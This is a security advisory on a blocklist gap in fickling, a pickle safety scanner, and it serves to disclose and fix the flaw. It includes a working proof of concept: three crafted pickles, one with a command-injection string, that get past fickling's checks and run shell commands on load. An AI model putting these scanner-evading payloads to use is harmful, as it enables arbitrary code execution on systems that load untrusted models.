GHSA-5hwf-rc88-82xm Fickling missing RCE-capable modules in UNSAFE_IMPORTS

• PyPI fickling: < 0.1.9 → fixed in 0.1.9

Assessment The modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b). Original report Summary fickling's `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeImports` and `NonStandardImports` checks. Affected Versions • fickling <= 0.1.8 (all versions) Details Missing Modules fickling's `UNSAFE_IMPORTS` (86 modules) does not include: | Module | RCE Function | Internal Mechanism | Importable On | |--------|-------------|-------------------|---------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)` | All platforms | | `_osx_support` | `_read_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` in `_read_output("/usr/bin/xcrun -find %s" % toolname)` | All platforms | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system(cmd)` via temp file | All platforms | Critical note: Despite the names `_osx_support` and `_aix_support` suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS. Why These Pass fickling 1. `NonStandardImports`: These are stdlib modules, so `is_std_module()` returns True → not flagged 2. `UnsafeImports`: Module names not in `UNSAFE_IMPORTS` → not flagged 3. `OvertlyBadEvals`: Function names added to `likely_safe_imports` (stdlib) → skipped 4. `UnusedVariables`: Defeated by BUILD opcode (purposely unhardend) Proof of Concept (using fickling's opcode API) ```python from fickling.fickle import ( Pickled, Proto, Frame, ShortBinUnicode, StackGlobal, TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop, ) from fickling.analysis import check_safety import struct, pickle frame_data = b"\x95" + struct.pack("<Q", 60) uuid._get_command_stdout — works on ALL platforms uuid_payload = Pickled([ Proto(4), Frame(struct.pack("<Q", 60), data=frame_data), ShortBinUnicode("uuid"), ShortBinUnicode("_get_command_stdout"), StackGlobal(), ShortBinUnicode("echo"), ShortBinUnicode("PROOF_OF_CONCEPT"), TupleTwo(), Reduce(), EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(), Build(), Stop(), ]) _aix_support._read_cmd_output — works on ALL platforms aix_payload = Pickled([ Proto(4), Frame(struct.pack("<Q", 60), data=frame_data), ShortBinUnicode("_aix_support"), ShortBinUnicode("_read_cmd_output"), StackGlobal(), ShortBinUnicode("echo PROOF_OF_CONCEPT"), TupleOne(), Reduce(), EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(), Build(), Stop(), ]) _osx_support._find_build_tool — command injection via %s osx_payload = Pickled([ Proto(4), Frame(struct.pack("<Q", 60), data=frame_data), ShortBinUnicode("_osx_support"), ShortBinUnicode("_find_build_tool"), StackGlobal(), ShortBinUnicode("x; echo INJECTED #"), TupleOne(), Reduce(), EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(), Build(), Stop(), ]) All three: fickling reports LIKELY_SAFE for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]: result = check_safety(p) print(f"{name}: severity={result.severity}, issues={len(result.results)}") # Output: severity=Severity.LIKELY_SAFE, issues=0 All three: pickle.loads() executes the command pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT ``` Verified Output ``` $ python3 poc.py uuid: severity=Severity.LIKELY_SAFE, issues=0 aix: severity=Severity.LIKELY_SAFE, issues=0 osx: severity=Severity.LIKELY_SAFE, issues=0 PROOF_OF_CONCEPT ``` Impact An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as `LIKELY_SAFE`. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines. Suggested Fix Add to `UNSAFE_IMPORTS` in fickling: ```python "uuid", "_osx_support", "_aix_support", ``` Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules. Resources • Python source: `Lib/uuid.py` lines 156-168 (`_get_command_stdout`) • Python source: `Lib/_osx_support.py` lines 35-52 (`_read_output`), lines 54-68 (`_find_build_tool`) • Python source: `Lib/_aix_support.py` lines 14-30 (`_read_cmd_output`) • fickling source: `analysis.py` `UNSAFE_IMPORTS` set